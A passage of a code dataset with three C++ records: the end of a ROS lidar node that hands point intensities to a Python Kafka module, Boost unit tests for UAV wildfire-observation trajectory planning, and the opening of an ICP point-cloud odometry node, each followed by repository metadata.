for(int i = 0; i < intensities.size(); i++) {\n        for(int j = 0; j < intensities[i].size(); j++) {\n            PyObject *num = PyFloat_FromDouble( (double) intensities[i][j]);\n\t\t    if (!num) {\n\t\t\tPy_DECREF(listObj);\n\t\t\tthrow logic_error(\"Unable to allocate memory for Python list\");\n\t\t    }\n            PyList_SET_ITEM(listObj, cnt, num);\n            cnt++;\n        }\n    }\n       \n    PyRun_SimpleString(\"import sys\\n\" \"import os\\n\" \"import time\\n\"  \"import lzf\\n\" \"import struct\\n\"); \n    PyRun_SimpleString(\"sys.path.append( os.path.dirname(os.getcwd()) +'/catkin_ws/src/lcROS/src/')\");\n\n    cout<<\"Call to Kafka from C++\"<<endl;\n    pName = PyUnicode_FromString(\"kakfa_send_test\");\n    /* Error checking of pName left out */\n\n    pModule = PyImport_Import(pName);\n    Py_DECREF(pName);\n\n    if (pModule != NULL) {\n        // here pass the function name\n        pFunc = PyObject_GetAttrString(pModule, \"mainfunc\");\n        /* pFunc is a new reference */\n\n        if (pFunc && PyCallable_Check(pFunc)) {\n            pArgs = PyTuple_New(1);\n            // const char* intensity_char(reinterpret_cast<const char*>(&intensities_compressed[0]));\n            PyTuple_SetItem(pArgs, 0, listObj);\n            pValue = PyObject_CallObject(pFunc, pArgs);\n            Py_DECREF(pArgs);\n            if (pValue != NULL) {\n                printf(\"Result of call: %ld\\n\", PyLong_AsLong(pValue));\n                Py_DECREF(pValue);\n            }\n            else {\n                Py_DECREF(pFunc);\n                Py_DECREF(pModule);\n                PyErr_Print();\n                fprintf(stderr,\"Call failed\\n\");\n                return;\n            }\n        }\n        else {\n            if (PyErr_Occurred())\n                PyErr_Print();\n            fprintf(stderr, \"Cannot find function \\n\");\n        }\n        Py_XDECREF(pFunc);\n        Py_DECREF(pModule);\n    }\n    else {\n        PyErr_Print();\n        fprintf(stderr, \"Failed to load \\n\");\n        return;\n    }\n    Py_DECREF(listObj); \n    Py_Finalize();\n   \n    return;\n}\n\n\nint main(int argc, char** argv)\n{\n  cout<<\"Subcribe to Kitti/velo/points\"<<endl;  \n  ros::init(argc, argv, \"sub_pcl\");\n  ros::NodeHandle nh;\n  ros::Subscriber sub = nh.subscribe<PointCloud>(\"/kitti/velo/pointcloud\", 1, callback);\n  ros::spin();\n }\n\n\n", "meta": {"hexsha": "6cc9c1e37d8d94d41e02b742b1ea25749cfe8f64", "size": 12276, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "catkin_ws/src/lcROS/src/subcribeVelo2PCD.cpp", "max_stars_repo_name": "DivJAth/LoopClosureInCloud", "max_stars_repo_head_hexsha": "de9b95bc98c252b6fa63e0853ddc2549094d583e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "catkin_ws/src/lcROS/src/subcribeVelo2PCD.cpp", "max_issues_repo_name": "DivJAth/LoopClosureInCloud", "max_issues_repo_head_hexsha": "de9b95bc98c252b6fa63e0853ddc2549094d583e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "catkin_ws/src/lcROS/src/subcribeVelo2PCD.cpp", "max_forks_repo_name": "DivJAth/LoopClosureInCloud", "max_forks_repo_head_hexsha": "de9b95bc98c252b6fa63e0853ddc2549094d583e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.7281553398, "max_line_length": 158, "alphanum_fraction": 0.5992994461, "num_tokens": 3130, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.2782567996876011, "lm_q1q2_score": 0.14564527118638898}}
{"text": "/* Copyright (c) 2017, CNRS-LAAS\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this\n   list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */\n\n#include <iostream>\n\n#include \"../ext/dubins.h\"\n#include \"../core/trajectory.hpp\"\n#include \"../core/raster.hpp\"\n#include \"../core/uav.hpp\"\n#include \"../vns/vns_interface.hpp\"\n#include \"../vns/factory.hpp\"\n#include \"../vns/neighborhoods/dubins_optimization.hpp\"\n#include \"../core/fire_data.hpp\"\n#include <boost/test/included/unit_test.hpp>\n\nnamespace SAOP {\n    namespace Test {\n\n        using namespace boost::unit_test;\n\n        UAV uav(\"test\", 10., 32. * M_PI / 180, 0.1);\n\n        void test_single_point_to_observe() {\n            // all points ignited at time 0, except ont at time 100\n            DRaster ignitions(100, 100, 0, 0, 25);\n            ignitions.set(10, 10, 100);\n\n            DRaster elevation(100, 100, 0, 0, 25);\n\n            auto fd = make_shared<FireData>(ignitions, elevation);\n\n            // only interested in the point ignited at time 100\n            vector<TrajectoryConfig> confs{TrajectoryConfig(uav, 100)};\n            Plan p(confs, fd, TimeWindow{90, 110});\n\n\n            auto vns = SAOP::build_default();\n\n            auto res = vns->search(p, 0, 1);\n//            BOOST_CHECK(res.final());\n\n            cout << \"SUCCESS\" << endl;\n        }\n\n        void test_many_points_to_observe() {\n            // circular firedata spread\n            DRaster ignitions(100, 100, 0, 0, 1);\n            for (size_t x = 0; x < 100; x++) {\n                for (size_t y = 0; y < 100; y++) {\n                    ignitions.set(x, y, sqrt(pow((double) x - 50, 2) + pow((double) y - 50, 2)));\n                }\n            }\n\n            DRaster elevation(100, 100, 0, 0, 1);\n\n            auto fd = make_shared<FireData>(ignitions, elevation);\n            vector<TrajectoryConfig> confs{TrajectoryConfig(uav, 10)};\n            Plan p(confs, fd, TimeWindow{0, 110});\n\n            auto vns = SAOP::build_default();\n\n            auto res = vns->search(std::move(p), 0, 1);\n//            BOOST_CHECK(Plan(res.final()));\n\n            cout << \"SUCCESS\" << endl;\n        }\n\n        void test_many_points_to_observe_with_start_end_positions() {\n            Waypoint3d start(5, 5, 0, 0);\n            Waypoint3d end(11, 11, 0, 0);\n\n            // circular firedata spread\n            DRaster ignitions(100, 100, 0, 0, 1);\n            for (size_t x = 0; x < 100; x++) {\n                for (size_t y = 0; y < 100; y++) {\n                    ignitions.set(x, y, sqrt(pow((double) x - 50, 2) + pow((double) y - 50, 2)));\n                }\n            }\n\n            DRaster elevation(100, 100, 0, 0, 1);\n\n            auto fd = make_shared<FireData>(ignitions, elevation);\n            vector<TrajectoryConfig> confs{TrajectoryConfig(\n                    uav,\n                    start,\n                    end,\n                    10)};\n            Plan p(confs, fd, TimeWindow{0, 110});\n\n            auto vns = SAOP::build_default();\n\n            auto res = vns->search(std::move(p), 0, 1);\n//            BOOST_CHECK(Plan(res.final()));\n\n            const auto& traj = res.final().trajectories()[0];\n            //ASSERT(traj[0] == start);\n            //ASSERT(traj[traj.size()-1] == end);\n            BOOST_CHECK(traj.insertion_range_start() == 1);\n            BOOST_CHECK(traj.insertion_range_end() == traj.size() - 2);\n\n            cout << \"SUCCESS\" << endl;\n        }\n\n\n        void test_segment_rotation() {\n            for (size_t i = 0; i < 100; i++) {\n                Waypoint wp(drand(-100000, 10000), drand(-100000, 100000), drand(-10 * M_PI, 10 * M_PI));\n                Segment seg(wp, drand(0, 1000));\n\n                Segment seg_rotated = uav.rotate_on_visibility_center(seg, drand(-10 * M_PI, 10 * M_PI));\n                Segment seg_back = uav.rotate_on_visibility_center(seg_rotated, wp.dir);\n                BOOST_CHECK(seg == seg_back);\n            }\n        }\n\n        void test_projection_on_firefront() {\n            // uniform propagation along the y axis\n            {\n                DRaster ignitions(100, 100, 0, 0, 1);\n                for (size_t x = 0; x < 100; x++) {\n                    for (size_t y = 0; y < 100; y++) {\n                        ignitions.set(x, y, y);\n                    }\n                }\n\n                DRaster elevation(100, 100, 0, 0, 1);\n\n                FireData fd(ignitions, elevation);\n                auto res = fd.project_on_fire_front(Cell{1, 1}, 50.5);\n                BOOST_CHECK(res && res->y == 50);\n\n\n                auto res_back = fd.project_on_fire_front(Cell{79, 1}, 50.5);\n                BOOST_CHECK(res_back && res_back->y == 50);\n            }\n\n            // uniform propagation along the x axis\n            {\n                DRaster ignitions(10, 10, 0, 0, 1);\n                for (size_t x = 0; x < 10; x++) {\n                    for (size_t y = 0; y < 10; y++) {\n                        ignitions.set(x, y, x);\n                    }\n                }\n\n                DRaster elevation(10, 10, 0, 0, 1);\n\n                FireData fd(ignitions, elevation);\n                auto res = fd.project_on_fire_front(Cell{1, 1}, 5.5);\n                BOOST_CHECK(res && res->x == 5);\n\n\n                auto res_back = fd.project_on_fire_front(Cell{7, 1}, 5.5);\n                BOOST_CHECK(res_back && res_back->x == 5);\n            }\n            // circular propagation center on (50,50)\n            {\n                auto dist = [](size_t x, size_t y) {\n                    return sqrt(pow((double) x - 50., 2.) + pow((double) y - 50., 2.));\n                };\n                DRaster ignitions(100, 100, 0, 0, 1);\n                for (size_t x = 0; x < 100; x++) {\n                    for (size_t y = 0; y < 100; y++) {\n                        ignitions.set(x, y, dist(x, y));\n\n                    }\n                }\n\n                DRaster elevation(100, 100, 0, 0, 1);\n\n                FireData fd(ignitions, elevation);\n                for (size_t i = 0; i < 100; i++) {\n                    const size_t x = rand(0, 100);\n                    const size_t y = rand(0, 100);\n                    auto res = fd.project_on_fire_front(Cell{x, y}, 25);\n                    BOOST_CHECK(res && abs(dist(res->x, res->y) - 25) < 1.5);\n                }\n            }\n        }\n\n        void test_trajectory_as_waypoints() {\n            Trajectory traj((TrajectoryConfig(uav)));\n            traj.sampled(2);\n        }\n\n        void test_trajectory_slice() {\n\n            TimeWindow tw1 = TimeWindow(10, 300);\n\n            TrajectoryConfig config1 = TrajectoryConfig(uav, tw1.start, tw1.end);\n            Trajectory traj = Trajectory(config1);\n            traj.append_segment(Segment3d(Waypoint3d(0, 0, 0, 0)));\n            traj.append_segment(Segment3d(Waypoint3d(100, 100, 0, 0), 50));\n            traj.append_segment(Segment3d(Waypoint3d(300, 200, 0, 0), 50));\n            traj.append_segment(Segment3d(Waypoint3d(500, 500, 0, 0)));\n\n            Trajectory sliced1 = traj.slice(TimeWindow(tw1.start + 1, tw1.end - 1));\n            Trajectory sliced2 = traj.slice(TimeWindow(tw1.start + 1, 85));\n\n            BOOST_CHECK(sliced1.size() == traj.size() - 1);\n            BOOST_CHECK(sliced2.size() == traj.size() - 2);\n\n            BOOST_CHECK_CLOSE(traj.start_time(1), sliced1.start_time(0), 0.1);\n            BOOST_CHECK_CLOSE(traj.start_time(1), sliced2.start_time(0), 0.1);\n            BOOST_CHECK_CLOSE(traj.start_time(3), sliced1.start_time(2), 0.1);\n            BOOST_CHECK_CLOSE(traj.start_time(2), sliced2.start_time(1), 0.1);\n\n        }\n\n        void test_time_window_order() {\n            double s = 10;\n            double e = 25;\n            TimeWindow tw1 = TimeWindow(s, e);\n            TimeWindow tw2 = TimeWindow(e, s);\n\n            BOOST_CHECK(tw1.start == s);\n            BOOST_CHECK(tw1.end == e);\n            BOOST_CHECK(tw1.start == tw2.start);\n            BOOST_CHECK(tw1.end == tw1.end);\n        }\n\n        void test_time_window() {\n            double s = 10;\n            double e = 25;\n            TimeWindow tw1 = TimeWindow(s, e);\n            TimeWindow tw2 = TimeWindow(e, s);\n            TimeWindow tw3 = TimeWindow(s - 1, e);\n            TimeWindow tw4 = TimeWindow(s, e + 1);\n\n            BOOST_CHECK(tw1 == tw2);\n            BOOST_CHECK(tw1 != tw3);\n\n            BOOST_CHECK(tw3.contains(tw1));\n            BOOST_CHECK(tw3.contains(tw1.center()));\n            BOOST_CHECK(tw3.intersects(tw4));\n            BOOST_CHECK(tw3.union_with(tw1) == tw3);\n            BOOST_CHECK(tw4.intersection_with(tw3) == tw1);\n\n            auto empty_intersect = TimeWindow(s - 1, s).intersection_with(TimeWindow(e, e + 1));\n            BOOST_CHECK(empty_intersect.is_empty());\n        }\n\n        test_suite* position_manipulation_test_suite() {\n            test_suite* ts2 = BOOST_TEST_SUITE(\"position_manipulation_tests\");\n            srand(time(0));\n            ts2->add(BOOST_TEST_CASE(&test_trajectory_slice));\n            ts2->add(BOOST_TEST_CASE(&test_time_window_order));\n            ts2->add(BOOST_TEST_CASE(&test_time_window));\n            ts2->add(BOOST_TEST_CASE(&test_trajectory_as_waypoints));\n            ts2->add(BOOST_TEST_CASE(&test_segment_rotation));\n            ts2->add(BOOST_TEST_CASE(&test_single_point_to_observe));\n            ts2->add(BOOST_TEST_CASE(&test_many_points_to_observe));\n            ts2->add(BOOST_TEST_CASE(&test_many_points_to_observe_with_start_end_positions));\n            ts2->add(BOOST_TEST_CASE(&test_projection_on_firefront));\n\n            return ts2;\n        }\n    }\n}", "meta": {"hexsha": "3217a82afab606ad838675c40d023585b0b4a668", "size": 10699, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "cpp/src/test/test_position_manipulation.hpp", "max_stars_repo_name": "arthur-bit-monnot/fire-rs-saop", "max_stars_repo_head_hexsha": "321e16fceebf44e8e97b482c24f37fbf6dd7d162", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 13.0, "max_stars_repo_stars_event_min_datetime": "2018-11-19T15:51:23.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-16T11:24:21.000Z", "max_issues_repo_path": "cpp/src/test/test_position_manipulation.hpp", "max_issues_repo_name": "fire-rs-laas/fire-rs-saop", "max_issues_repo_head_hexsha": "321e16fceebf44e8e97b482c24f37fbf6dd7d162", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 14.0, "max_issues_repo_issues_event_min_datetime": "2017-10-12T16:19:19.000Z", "max_issues_repo_issues_event_max_datetime": "2018-03-12T12:07:56.000Z", "max_forks_repo_path": "cpp/src/test/test_position_manipulation.hpp", "max_forks_repo_name": "fire-rs-laas/fire-rs-saop", "max_forks_repo_head_hexsha": "321e16fceebf44e8e97b482c24f37fbf6dd7d162", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 4.0, "max_forks_repo_forks_event_min_datetime": "2018-03-12T12:28:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-07T18:32:17.000Z", "avg_line_length": 38.2107142857, "max_line_length": 105, "alphanum_fraction": 0.5493971399, "num_tokens": 2745, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.28457600421652673, "lm_q1q2_score": 0.1456222666579593}}
{"text": "#include <cassert>\n#include <iostream>\n#include <fstream>\n#include <memory>\n\n#include <Eigen/Core>\n#include <Eigen/Geometry>\n#include <Eigen/Dense>\n\n#include <boost/version.hpp>\n#include <boost/thread.hpp>\n#include <boost/thread/future.hpp>\n#include <boost/format.hpp>\n#include \"boost/filesystem/path.hpp\"\n#include \"boost/filesystem/operations.hpp\"\n\n#include <ros/ros.h>\n#include <pcl/point_cloud.h>\n#include <pcl/point_types.h>\n#include <pcl_ros/transforms.h>\n#include <pcl_conversions/pcl_conversions.h>\n#include <sensor_msgs/PointCloud2.h>\n\n#include \"nav_msgs/Odometry.h\"\n#include \"tf/transform_broadcaster.h\"\n#include \"tf/transform_listener.h\"\n\n#include <pcl/filters/normal_space.h>\n#include <pcl/filters/filter.h>\n#include <pcl/filters/voxel_grid.h>\n#include <pcl/filters/passthrough.h>\n#include <pcl/filters/random_sample.h>\n#include <pcl/filters/sampling_surface_normal.h>\n\n#include <pcl/registration/icp.h>\n#include <pcl/registration/icp_nl.h>\n#include <pcl/registration/gicp.h>\n#include <pcl/registration/ndt.h>\n#include <pcl/filters/approximate_voxel_grid.h>\n#include <pcl/registration/transformation_estimation_point_to_plane.h>\n#include <pcl/registration/transformation_estimation_lm.h>\n\n#include <pcl/registration/correspondence_rejection_distance.h>\n#include <pcl/registration/correspondence_estimation_backprojection.h>\n#include <pcl/registration/correspondence_estimation_normal_shooting.h>\n\n#include <pcl/features/normal_3d.h>\n\nusing namespace std;\nusing namespace pcl;\n\nclass Odometer\n{\n    typedef pcl::PointCloud<pcl::PointNormal> DP;\n    typedef Eigen::Matrix<double, Eigen::Dynamic, 1> VectorX;\n    typedef Eigen::Matrix<double, 4, 1> Vector4;\n    typedef Eigen::Matrix<double, 4, 4> Matrix4;\n\n    FILE* fileVar;\n\n    ros::NodeHandle& n;\n    ros::NodeHandle& nh;\n\n    // Subscribers\n    ros::Subscriber cloudSub;\n\n    // Publisher\n    ros::Publisher voxGrid_cloud;\n    ros::Publisher passThrough_cloud;\n    ros::Publisher normalSpaceSampling_cloud;\n    ros::Publisher localmapPub;\n    ros::Publisher globalmapPub;\n    ros::Publisher odomPub;\n    ros::Publisher do_pub;\n\n    ros::Time mapCreationTime;\n\n    // Main algorithm definition\n    DP *localMapPointCloud;\n\n    int inputQueueSize;\n\n    tf::TransformListener tfListener;\n    tf::TransformBroadcaster tfBroadcaster;\n\n    boost::thread publishThread;\n    boost::mutex publishLock;\n    ros::Time publishStamp;\n\n    // multi-threading mapper\n    typedef boost::packaged_task<DP*> MapBuildingTask;\n    typedef boost::unique_future<DP*> MapBuildingFuture;\n    boost::thread mapBuildingThread;\n    MapBuildingTask mapBuildingTask;\n    MapBuildingFuture mapBuildingFuture;\n\n    bool processingNewCloud;\n    bool mapBuildingInProgress;\n\n    int LocalMapNum;\n    unsigned int minReadingPointCount;\n\n    string odomFrame;\n    string mapFrame;\n\n    //Define some transformation matrix\n    Eigen::Matrix4f Trans_Odom2Map;\n    Eigen::Matrix4f Trans_Odom2Camera;\n    Eigen::Matrix4f Trans_Camera2Map;\n    Eigen::Matrix4f Trans_AsusInit2AsusFrame;\n    Eigen::Matrix4f Trans_AsusInit2AsusFrame_Last;\n\n    Eigen::Matrix4f LastTrans_Camera2Map;\n    Eigen::Matrix4f CurrTrans_Camera2Map;\n    Eigen::Matrix4f Relative_Trans;\n\n    int random_sampling_num;\n    double voxel_leafsize;\n    bool useMap;\n\n\n    double max_corresdist;\n    int max_iterations;\n    double max_trans_epsilon;\n    int min_number_correspondences;\n    double euclidean_fitness_epsilon;\n    double rej_max_corresdist;\n    double mapVoxelLeafSize;\n\n    int localMapNum;\n\n    double prvTime;\n    double currTime;\n\n    DP *tempCloud;\n\n    nav_msgs::Odometry measurementMsg;\n\n    int skip;\n    int skipNum;\n    bool refine;\n    bool useRandom_sampling;\n    bool useNDT;\n\n    double max_epsilon;\n    double step_size;\n    double resolution;\n    int max_iterations_ndt;\n\n    tf::Transform rel_transform_last;\n    Eigen::Matrix4f Trans_InterFrame_last;\n\n  public:\n    Odometer ( ros::NodeHandle& n, ros::NodeHandle& nh );\n    ~Odometer();\n\n  protected:\n    void gotCloud ( const pcl::PCLPointCloud2ConstPtr& cloudMsgIn );\n    void processCloud ( std::unique_ptr<DP> cloud, const std::string& scannerFrame, const ros::Time& stamp, uint32_t seq );\n    DP* updateMap ( DP* newPointCloud, Eigen::Matrix4f Ticp, bool updateExisting );\n    void setMap ( DP* newPointCloud );\n    void publishLoop ( double publishPeriod );\n    void publishTransform();\n    nav_msgs::Odometry EigenMatrix2OdomMsg ( const Eigen::Matrix4f& inTr, double deltaT, const std::string& frame_id,\n        const std::string& child_frame_id, const ros::Time& stamp );\n\n};\n\nOdometer::Odometer ( ros::NodeHandle& n, ros::NodeHandle& nh ) :\n  n ( n ), nh ( nh ), localMapPointCloud ( new DP ), mapBuildingInProgress ( false ), minReadingPointCount (\n    500 ), odomFrame ( \"odom\" ), mapFrame ( \"world\" ), Trans_Camera2Map ( Eigen::Matrix4f::Identity ( 4, 4 ) ), prvTime (\n      0.0 ), currTime ( 0.0 ), tempCloud ( new DP )\n{\n\n  nh.param<string> ( \"odomFrame\", odomFrame, \"camera_rgb_optical_frame\" );\n  nh.param<string> ( \"mapFrame\", mapFrame, \"world\" );\n\n  nh.param<int> ( \"localMapNum\", localMapNum, 6000 );\n\n  nh.param<bool> ( \"useRandom_sampling\", useRandom_sampling, false );\n  nh.param<int> ( \"random_sampling_num\", random_sampling_num, 3500 );\n  nh.param<double> ( \"voxel_leafsize\", voxel_leafsize, 0.05 );\n\n  nh.param<double> ( \"setMaxCorresDist\", max_corresdist, 0.05 );\n  nh.param<int> ( \"setMaxIterationNum\", max_iterations, 50 );\n  nh.param<double> ( \"setTransEpsilon\", max_trans_epsilon, 1e-8 );\n  nh.param<int> ( \"min_number_correspondences\", min_number_correspondences, 300 );\n  nh.param<double> ( \"euclidean_fitness_epsilon\", euclidean_fitness_epsilon, 0.001 );\n\n  nh.param<double> ( \"rej_max_corresdist\", rej_max_corresdist, 0.3 );\n  nh.param<double> ( \"mapVoxelLeafSize\", mapVoxelLeafSize, 0.05 );\n\n  nh.param<int> ( \"skipNum\", skipNum, 3 );\n  nh.param<bool> ( \"refine\", refine, true );\n\n\n  cloudSub = n.subscribe ( \"input_cloud\", inputQueueSize, &Odometer::gotCloud, this );\n\n  voxGrid_cloud = n.advertise<sensor_msgs::PointCloud2> ( \"/voxelgrid/cloud\", 2, true );\n  passThrough_cloud = n.advertise<sensor_msgs::PointCloud2> ( \"/passThrough/cloud\", 2, true );\n\n  localmapPub = n.advertise<sensor_msgs::PointCloud2> ( \"local_point_map\", 2, true );\n  odomPub = n.advertise<nav_msgs::Odometry> ( \"icp_odometry\", 50, true );\n  do_pub = n.advertise<nav_msgs::Odometry> ( \"icp_measurement\", 50, true );\n\n  //refreshing tf transform thread\n// publishThread = boost::thread(boost::bind(&Odometer::publishLoop, this, 0.01));\n  Trans_AsusInit2AsusFrame = Eigen::Matrix4f::Identity();\n  Trans_AsusInit2AsusFrame_Last = Eigen::Matrix4f::Identity();\n  skip = 0;\n\n}\n\nOdometer::~Odometer()\n{\n  delete tempCloud;\n}\n\nvoid Odometer::gotCloud ( const pcl::PCLPointCloud2ConstPtr& cloudMsgIn )\n{\n  if ( skip < skipNum )\n  {\n    skip ++;\n    return;\n  }\n  skip = 0;\n\n  ros::WallTime startTime = ros::WallTime::now();\n\n  ROS_INFO_STREAM ( \"Input point cloud size: \"<< cloudMsgIn->width * cloudMsgIn->height );\n  pcl::PCLPointCloud2 cloud_filtered;\n\n  if ( useRandom_sampling )\n  {\n    pcl::RandomSample<pcl::PCLPointCloud2> sor;\n    sor.setInputCloud ( cloudMsgIn );\n    sor.setSample ( random_sampling_num );\n    sor.setSeed ( rand() );\n    sor.filter ( cloud_filtered );\n    double deltaT = ( ros::WallTime::now() - startTime ).toSec();\n    ROS_INFO_STREAM ( \"Random downsampling took: \" << deltaT << \"s \" );\n  }\n  else\n  {\n    pcl::VoxelGrid<pcl::PCLPointCloud2> sor;\n    sor.setInputCloud ( cloudMsgIn );\n    sor.setLeafSize ( voxel_leafsize, voxel_leafsize, voxel_leafsize );\n    sor.filter ( cloud_filtered );\n    double deltaT = ( ros::WallTime::now() - startTime ).toSec();\n    ROS_INFO_STREAM ( \"VoxelGrid downsampling took: \" << deltaT << \"s \" );\n    ROS_INFO_STREAM ( \"Cloud size after downsampling: \" << cloud_filtered.width * cloud_filtered.height );\n  }\n\n  pcl::PointCloud<pcl::PointXYZ>::Ptr src ( new pcl::PointCloud<pcl::PointXYZ> );\n  pcl::fromPCLPointCloud2 ( cloud_filtered, *src );\n\n  pcl::PointCloud<pcl::PointNormal>::Ptr ptCloud ( new pcl::PointCloud<pcl::PointNormal> );\n  pcl::copyPointCloud ( *src, *ptCloud );\n\n  std::unique_ptr<DP> cloud ( new DP ( *ptCloud ) );\n  processCloud ( std::move ( cloud ), cloudMsgIn->header.frame_id, pcl_conversions::fromPCL ( cloud_filtered.header ).stamp,\n                 cloudMsgIn->header.seq );\n\n  double dt = ( ros::WallTime::now() - startTime ).toSec();\n  ROS_INFO_STREAM ( \"Total ICP Odometry Estimation took: \" << dt << \"s \" << endl );\n}\n\nvoid Odometer::processCloud ( unique_ptr<DP> newPointCloud, const std::string& scannerFrame, const ros::Time& stamp,\n                              uint32_t seq )\n{\n  currTime = stamp.toSec();\n\n  processingNewCloud = true;\n  mapCreationTime = stamp;\n\n  // Convert point cloud\n  if ( newPointCloud->size() == 0 )\n  {\n    ROS_ERROR ( \"I found no good points in the cloud\" );\n    return;\n  }\n\n  string reason;\n  if ( localMapPointCloud->size() == 0 )\n  {\n    publishLock.lock();\n    Trans_Odom2Map = Eigen::Matrix4f::Identity();\n    publishLock.unlock();\n  }\n\n  // Fetch transformation from scanner to odom\n  if ( !tfListener.canTransform ( scannerFrame, odomFrame, stamp, &reason ) )\n  {\n    ROS_ERROR_STREAM ( \"Cannot lookup TOdomToScanner(\" << odomFrame<< \" to \" << scannerFrame << \"):\\n\" << reason );\n    return;\n  }\n  ROS_INFO_STREAM ( \"scannerFrame is: \" << scannerFrame );\n\n\n  tf::StampedTransform trans_camera_to_Odom;\n  try\n  {\n    tfListener.lookupTransform ( scannerFrame, odomFrame, stamp, trans_camera_to_Odom );\n  }\n  catch ( tf::TransformException ex )\n  {\n    ROS_ERROR ( \"%s\", ex.what() );\n  }\n  pcl_ros::transformAsMatrix ( trans_camera_to_Odom, Trans_Odom2Camera );\n  ROS_DEBUG_STREAM ( \"Trans_Odom2Camera is: \" << Trans_Odom2Camera );\n\n  pcl::PointCloud<pcl::PointNormal>::Ptr Original_Reading ( new pcl::PointCloud<pcl::PointNormal> );\n  pcl::copyPointCloud ( *newPointCloud, *Original_Reading );\n\n  //Step1: Filtering the points along a specified dimension and and the accepted interval values are set to (0, 7)\n  //Because the measurement bigger than 7 meters are too noisy\n\n  pcl::PassThrough<pcl::PointNormal> pass;\n  pass.setInputCloud ( Original_Reading );\n  pass.setFilterFieldName ( \"z\" );\n  pass.setFilterLimits ( 0.0, 7.0 );\n  pass.filter ( *Original_Reading );\n  ROS_INFO_STREAM ( \"Point cloud size after PassThrough filtering: \" << Original_Reading->points.size() );\n\n  sensor_msgs::PointCloud2 cloud_filtered;\n  pcl::toROSMsg ( *Original_Reading, cloud_filtered );\n  passThrough_cloud.publish ( cloud_filtered );\n\n\n  if ( Original_Reading->size() < minReadingPointCount )\n  {\n    ROS_ERROR_STREAM ( \"Not enough points in the newPointCloud: only \" << Original_Reading->size() << \"pts.\" );\n    return;\n  }\n\n  // Initialize the map if empty\n  if ( localMapPointCloud->size() == 0 )\n  {\n    DP *tempCloud ( new DP );\n    pcl::copyPointCloud ( *Original_Reading, *tempCloud );\n    setMap ( updateMap ( tempCloud, Trans_Camera2Map, false ) ); //The map's Coordinate is Global\n    ROS_DEBUG_STREAM ( \"create initial map successfuly!\" );\n    LastTrans_Camera2Map = Eigen::Matrix4f::Identity ( 4, 4 );\n    return;\n  }\n\n  // if the future has completed, use the new map\n  if ( mapBuildingInProgress && useMap && ( mapBuildingFuture.has_value() ) )\n  {\n    setMap ( mapBuildingFuture.get() );\n    mapBuildingInProgress = false;\n  }\n\n  //Step4: Transform the selected new reading cloud into Global Map coordinate\n  pcl::PointCloud<pcl::PointNormal>::Ptr src ( new pcl::PointCloud<pcl::PointNormal> );\n  pcl::PointCloud<pcl::PointNormal>::Ptr tgt ( new pcl::PointCloud<pcl::PointNormal> );\n\n\n  if ( refine )\n  {\n    // Fetch the relative transform between previous frame and current frame computed by depth flow method\n    tfListener.waitForTransform ( \"/camera_base\", \"/cam_zforward\",stamp, ros::Duration ( 0.01 ) );\n    if ( !tfListener.canTransform ( \"camera_base\", \"cam_zforward\",  stamp, &reason ) )\n    {\n      ROS_ERROR_STREAM ( \"Cannot lookup camera_init to camera):\\n\" << reason );\n      return;\n    }\n    tf::StampedTransform trans_asusInit2asusFrame;\n    try\n    {\n      tfListener.lookupTransform ( \"camera_base\", \"cam_zforward\",  stamp, trans_asusInit2asusFrame );\n    }\n    catch ( tf::TransformException ex )\n    {\n      ROS_ERROR ( \"%s\", ex.what() );\n    }\n    pcl_ros::transformAsMatrix ( trans_asusInit2asusFrame, Trans_AsusInit2AsusFrame );\n    ROS_DEBUG_STREAM ( \"Trans_AsusInit2AsusFrame is: \" << endl << Trans_AsusInit2AsusFrame );\n\n    // The relative transform from current to previous frame, compute its inverse because the direction is opposite\n    Eigen::Matrix4f Trans_InterFrame;\n    Trans_InterFrame = ( Trans_AsusInit2AsusFrame_Last.inverse () * Trans_AsusInit2AsusFrame ).inverse();\n\n    ROS_DEBUG_STREAM ( \"Trans_AsusInit2AsusFrame_Last: \" << endl << Trans_AsusInit2AsusFrame_Last );\n    ROS_DEBUG_STREAM ( \"Trans_InterFrame is: \" << endl << Trans_InterFrame );\n\n\n//     // Add the relative transform to previous global transform as the initial guess of 